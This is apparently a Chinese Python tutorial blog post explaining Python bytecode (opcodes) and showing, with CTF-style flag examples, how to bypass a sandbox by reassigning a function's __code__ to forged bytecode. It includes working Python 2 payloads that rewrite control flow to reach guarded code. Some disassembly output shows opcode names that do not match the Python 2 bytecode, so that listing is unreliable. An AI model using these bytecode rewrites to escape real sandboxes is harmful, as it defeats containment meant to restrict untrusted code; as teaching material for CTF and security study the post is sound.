使用OpCode绕过Python沙箱的方法详解


Posted in Python onSeptember 03, 2019

0x01 OpCode

opcode又称为操作码,是将python源代码进行编译之后的结果,python虚拟机无法直接执行human-readable的源代码,因此python编译器第一步先将源代码进行编译,以此得到opcode。例如在执行python程序时一般会先生成一个pyc文件,pyc文件就是编译后的结果,其中含有opcode序列。

如何查看一个函数的OpCode?

def a():
 if 1 == 2:
  print("flag{****}")

print "Opcode of a():",a.__code__.co_code.encode('hex')

通过此方法我们可以得到a函数的OpCode

Opcode of a(): 6401006402006b020072140064030047486e000064000053

我们可以通过dis库获得相应的解析结果。

import dis

dis.dis('6401006402006b020072140064030047486e000064000053'.decode('hex'))

得到反编译的结果

0 LOAD_CONST          1 (1)
      3 LOAD_CONST          2 (2)
      6 COMPARE_OP          2 (==)
      9 POP_JUMP_IF_FALSE    20
     12 LOAD_CONST          3 (3)
     15 LOAD_BUILD_CLASS
     16 YIELD_FROM    
     17 JUMP_FORWARD        0 (to 20)
>>   20 LOAD_CONST          0 (0)
     23 RETURN_VALUE

常见的字节码指令

为了进一步研究OpCode,我们可以对dis的disassemble_string函数进行patch

在124行加入

print hex(op).ljust(6),

可以查看具体的字节码。

0 LOAD_CONST           0x64       1 (1)
      3 LOAD_CONST           0x64       2 (2)
      6 COMPARE_OP           0x6b       2 (==)
      9 POP_JUMP_IF_FALSE    0x72      20
     12 LOAD_CONST           0x64       3 (3)
     15 LOAD_BUILD_CLASS     0x47 
     16 YIELD_FROM           0x48 
     17 JUMP_FORWARD         0x6e       0 (to 20)
>>   20 LOAD_CONST           0x64       0 (0)
     23 RETURN_VALUE         0x53

变量

指令名 操作
LOAD_GLOBAL 读取全局变量
STORE_GLOBAL 给全局变量赋值
LOAD_FAST 读取局部变量
STORE_FAST 给局部变量赋值
LOAD_CONST 读取常量

IF

指令名 操作
POP_JUMP_IF_FALSE 当条件为假的时候跳转
JUMP_FORWARD 直接跳转

CMP_OP

cmp_op = ('<', '<=', '==', '!=', '>', '>=', 'in', 'not in', 'is','is not', 'exception match', 'BAD')

其余的指令参考OpCode源码

0x02 利用OpCode改变程序运行逻辑

在Python中,我们可以对任意函数的__code__参数进行赋值,通过对其进行赋值,我们可以改变程序运行逻辑。

Example1

def a():
 if 1 == 2:
  print("flag{****}")

在沙箱环境中我们需要调用这个函数,但是此函数我们无法执行到print语句。因此我们需要通过某种方法得到flag

Solution 1

我们直接获取a.__code__.co_consts,查看所有的常量。即可知道flag

(None, 1, 2, 'flag{****}')

Solution 2

更改程序运行逻辑

CodeType构造函数

def __init__(self, argcount, nlocals, stacksize, flags, code,
     consts, names, varnames, filename, name, 
     firstlineno, lnotab, freevars=None, cellvars=None):

上述函数其余参数均可通过__code.__.co_xxx获得

因此我们

def a():
 if 1 == 2:
  print("flag{****}")

for name in dir(a.__code__):
 print name,getattr(a.__code__,name)

输出

co_argcount 0
co_cellvars ()
co_code ddkrdGHndS
co_consts (None, 1, 2, 'flag{****}')
co_filename example1.py
co_firstlineno 1
co_flags 67
co_freevars ()
co_lnotab

co_name a
co_names ()
co_nlocals 0
co_stacksize 2
co_varnames ()

构造相应目标代码

def a():
 if 1 != 2:
  print("flag{****}")

print "Opcode of a():",a.__code__.co_code.encode('hex')

得到code

6401006402006b030072140064030047486e000064000053

构造payload

def a():
 if 1 == 2:
  print("flag{****}")

newcode = type(a.__code__)
code = "6401006402006b030072140064030047486e000064000053".decode('hex')
code = newcode(0,0,2,67,code,(None, 1, 2, 'flag{****}'),(),(),"xxx","a",1,"")
a.__code__ = code

a()

即可输出flag

Example 2

def target(flag):
 def printflag():
  if flag == "":
   print flag
 return printflag

flag = target("flag{*******}")

这一次因为是通过变量传入参数,我们无法通过上一次读co_consts获得变量。但是我们这次依旧可以通过重写code获得flag。

构造替代函数

def target(flag):
 def printflag():
  if flag != "":
   print flag
 return printflag
a = target("xxx")
import types
code = a.__code__.co_code.encode('hex')
print code

EXP

newcode = type(flag.__code__)
code = "8800006401006b030072140088000047486e000064000053".decode('hex')
code = newcode(0,0,2,19,code,(None, ''),(),(),"example2.py","printflag",2,"",('flag',),())
flag.__code__ = code
flag()

➜  python example2exp.py
8800006401006b030072140088000047486e000064000053
➜  python example2.py  
flag{*******}

总结

以上就是这篇文章的全部内容了,希望本文的内容对大家的学习或者工作具有一定的参考学习价值,谢谢大家对三水点靠木的支持。

Python 相关文章推荐
web.py在SAE中的Session问题解决方法(使用mysql存储)
Jun 24 Python
在类Unix系统上开始Python3编程入门
Aug 20 Python
python实现俄罗斯方块
Jun 26 Python
Python 实现「食行生鲜」签到领积分功能
Sep 26 Python
python3安装speech语音模块的方法
Dec 24 Python
python2爬取百度贴吧指定关键字和图片代码实例
Aug 14 Python
对django layer弹窗组件的使用详解
Aug 31 Python
Python进程间通信 multiProcessing Queue队列实现详解
Sep 23 Python
使用Fabric自动化部署Django项目的实现
Sep 27 Python
python反转列表的三种方式解析
Nov 08 Python
详解如何在pyqt中通过OpenCV实现对窗口的透视变换
Sep 20 Python
Python之Matplotlib绘制热力图和面积图
Apr 13 Python
python实现单链表的方法示例
Sep 03 #Python
python中enumerate() 与zip()函数的使用比较实例分析
Sep 03 #Python
python网络编程之多线程同时接受和发送
Sep 03 #Python
springboot配置文件抽离 git管理统 配置中心详解
Sep 02 #Python
python生成随机红包的实例写法
Sep 02 #Python
Django发送邮件功能实例详解
Sep 02 #Python
python读取Excel表格文件的方法
Sep 02 #Python
You might like
PHP小程序自动提交到自助友情连接
2009/11/24 PHP
使用Huagepage和PGO来提升PHP7的执行性能
2015/11/30 PHP
Json_encode防止汉字转义成unicode的方法
2016/02/25 PHP
学习YUI.Ext 第四天--对话框Dialog的使用
2007/03/10 Javascript
Mootools 1.2教程(21)——类(二)
2009/09/15 Javascript
JQuery实现的在新窗口打开链接的方法小结
2010/04/22 Javascript
解决jQuery插件tipswindown与hintbox冲突
2010/11/05 Javascript
全面了解addEventListener和on的区别
2016/07/14 Javascript
详解javascript事件绑定使用方法
2016/10/20 Javascript
微信小程序开发之入门实例教程篇
2017/03/07 Javascript
js省市区级联查询(插件版&amp;无插件版)
2017/03/21 Javascript
微信小程序页面缩放式侧滑效果的实现代码
2018/11/15 Javascript
利用Angular2的Observables实现交互控制的方法
2018/12/27 Javascript
ES6函数实现排它两种写法解析
2020/05/13 Javascript
如何解决jQuery 和其他JS库的冲突
2020/06/22 jQuery
详细分析React 表单与事件
2020/07/08 Javascript
vue组件中传值EventBus的使用及注意事项说明
2020/11/16 Javascript
Python实现的ini文件操作类分享
2014/11/20 Python
学习python中matplotlib绘图设置坐标轴刻度、文本
2018/02/07 Python
Python实现定时备份mysql数据库并把备份数据库邮件发送
2018/03/08 Python
解决Python安装时报缺少DLL问题【两种解决方法】
2019/07/15 Python
django 类视图的使用方法详解
2019/07/24 Python
解决Python对齐文本字符串问题
2019/08/28 Python
Django2 连接MySQL及model测试实例分析
2019/12/10 Python
Python新手学习标准库模块命名
2020/05/29 Python
Python实现查找数据库最接近的数据
2020/06/08 Python
世界上最好的旅行夹克:BauBax
2018/12/23 全球购物
资源环境与城市管理专业推荐信
2013/11/30 职场文书
党的群众路线教育实践活动查摆问题及整改措施
2014/10/10 职场文书
总经理检讨书范文
2015/02/16 职场文书
放牛班的春天观后感
2015/06/01 职场文书
五星红旗迎风飘扬观后感
2015/06/17 职场文书
网络安全倡议书(3篇)
2019/09/18 职场文书
常用的Python代码调试工具总结
2021/06/23 Python
关于ObjectUtils.isEmpty() 和 null 的区别
2022/02/28 Java/Android
python装饰器代码解析
2022/03/23 Python